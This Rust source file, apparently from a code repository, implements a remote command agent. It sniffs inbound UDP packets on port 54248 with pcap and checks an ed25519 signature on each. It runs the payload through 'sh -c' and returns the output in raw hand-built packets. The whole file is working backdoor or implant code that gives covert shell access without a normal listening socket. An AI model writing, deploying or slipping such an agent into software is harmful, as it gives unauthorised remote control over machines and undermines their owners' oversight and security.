172 lines
4.9 KiB
Rust
172 lines
4.9 KiB
Rust
use std::os::unix::ffi::OsStrExt;
|
|
use std::process::Stdio;
|
|
use std::{ffi::OsStr, sync::Arc};
|
|
|
|
use anyhow::{anyhow, bail, Context};
|
|
use ed25519_dalek::{PublicKey, Signature, Verifier};
|
|
use pcap_sys::{self, packets::EthernetPacket};
|
|
use tokio::{self, io::AsyncReadExt, process, sync::mpsc};
|
|
use tokio_stream::StreamExt;
|
|
|
|
const PUBKEY: &[u8] = include_bytes!("../../key-generator/pubkey");
|
|
|
|
#[tokio::main]
|
|
async fn main() -> anyhow::Result<()> {
|
|
simple_logger::SimpleLogger::new().init()?;
|
|
|
|
let pubkey =
|
|
Arc::new(PublicKey::from_bytes(PUBKEY).context("could not parse generated public key")?);
|
|
|
|
log::info!("Pubkey is good");
|
|
|
|
let mut interfaces = pcap_sys::PcapDevIterator::new()?;
|
|
|
|
let interface_name = interfaces
|
|
.find(|eth| eth.starts_with("eth"))
|
|
.ok_or(anyhow!("Could not get an ethernet interface"))?;
|
|
|
|
let mut interface = pcap_sys::Interface::<pcap_sys::DevDisabled>::new(&interface_name)?;
|
|
|
|
interface.set_buffer_size(8192)?;
|
|
interface.set_non_blocking(true)?;
|
|
interface.set_promisc(false)?;
|
|
interface.set_timeout(10)?;
|
|
|
|
let mut interface = interface.activate()?;
|
|
|
|
interface.set_filter("inbound and udp port 54248", true, None)?;
|
|
|
|
if interface.datalink() != pcap_sys::consts::DLT_EN10MB {
|
|
bail!("interface does not support ethernet")
|
|
}
|
|
|
|
enum EventType {
|
|
Packet(Result<EthernetPacket, pcap_sys::error::Error>),
|
|
Send(EthernetPacket),
|
|
}
|
|
|
|
let mut packets = interface.stream()?;
|
|
let (packet_sender, mut packets_to_send) = mpsc::channel(64);
|
|
|
|
while let Some(evt) = tokio::select! {
|
|
v = packets.next() => v.map(EventType::Packet),
|
|
v = packets_to_send.recv() => v.map(EventType::Send)
|
|
} {
|
|
match evt {
|
|
EventType::Packet(pkt) => {
|
|
if let Ok(pkt) = pkt {
|
|
let packet_sender_clone = packet_sender.clone();
|
|
let pubkey_clone = pubkey.clone();
|
|
tokio::spawn(async move {
|
|
if let Err(e) = handle_command(pubkey_clone, pkt, packet_sender_clone).await
|
|
{
|
|
log::warn!("Error handling packet: {e}");
|
|
}
|
|
});
|
|
}
|
|
}
|
|
EventType::Send(pkt) => {
|
|
packets.sendpacket(pkt.pkt())?;
|
|
}
|
|
}
|
|
}
|
|
|
|
Ok(())
|
|
}
|
|
|
|
async fn handle_command(
|
|
pubkey: Arc<PublicKey>,
|
|
eth: EthernetPacket,
|
|
send_response: mpsc::Sender<EthernetPacket>,
|
|
) -> anyhow::Result<()> {
|
|
use pcap_sys::packets::*;
|
|
let eth_pkt = eth.pkt();
|
|
let Layer3Pkt::IPv4Pkt(ip_pkt) = eth_pkt.get_layer3_pkt()?;
|
|
let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?;
|
|
|
|
let data = udp_pkt.get_data();
|
|
|
|
if data.len() < 65 {
|
|
bail!("Packet was too short")
|
|
}
|
|
|
|
let signature: [u8; 64] = data[..64]
|
|
.try_into()
|
|
.context("could not get signature from command")?;
|
|
|
|
let signature = Signature::from(signature);
|
|
|
|
let cmd = &data[64..];
|
|
|
|
pubkey
|
|
.verify(cmd, &signature)
|
|
.context("message provided was unauthenticated")?;
|
|
|
|
let cmd = OsStr::from_bytes(cmd);
|
|
|
|
log::info!("Received command to execute: {cmd:?}");
|
|
|
|
let child = process::Command::new("sh")
|
|
.arg("-c")
|
|
.arg(cmd)
|
|
.stdin(Stdio::null())
|
|
.stdout(Stdio::piped())
|
|
.stderr(Stdio::piped())
|
|
.spawn()?;
|
|
|
|
let mut stdout = child
|
|
.stdout
|
|
.ok_or(anyhow!("could not get child process stdout"))?;
|
|
let mut stderr = child
|
|
.stderr
|
|
.ok_or(anyhow!("could not get child process stdout"))?;
|
|
|
|
enum Output {
|
|
Out,
|
|
Err,
|
|
}
|
|
|
|
let mut stdout_buffer = [0u8; 1024];
|
|
let mut stderr_buffer = [0u8; 1024];
|
|
|
|
loop {
|
|
let (out_type, Ok(len)) = tokio::select! {
|
|
v = stdout.read(&mut stdout_buffer[..]) => (Output::Out, v),
|
|
v = stderr.read(&mut stderr_buffer[..]) => (Output::Err, v)
|
|
} else { continue; };
|
|
|
|
if len == 0 {
|
|
break;
|
|
}
|
|
|
|
let msg = &match out_type {
|
|
Output::Err => stderr_buffer,
|
|
Output::Out => stdout_buffer,
|
|
}[..len];
|
|
let port = match out_type {
|
|
Output::Err => 54249,
|
|
Output::Out => 54248,
|
|
};
|
|
|
|
let udp_packet = UDPPacket::construct(54248, port, msg);
|
|
let ip_packet = IPv4Packet::construct(
|
|
ip_pkt.dest_ip(),
|
|
ip_pkt.source_ip(),
|
|
&Layer4Packet::UDP(udp_packet),
|
|
);
|
|
let eth_packet = EthernetPacket::construct(
|
|
*eth_pkt.destination_address(),
|
|
*eth_pkt.source_address(),
|
|
&Layer3Packet::IPv4(ip_packet),
|
|
);
|
|
|
|
if let Err(e) = send_response.send(eth_packet).await {
|
|
log::warn!("Could not send response packet: {e:?}");
|
|
}
|
|
}
|
|
|
|
log::info!("Done executing command {cmd:?}");
|
|
|
|
Ok(())
|
|
}
|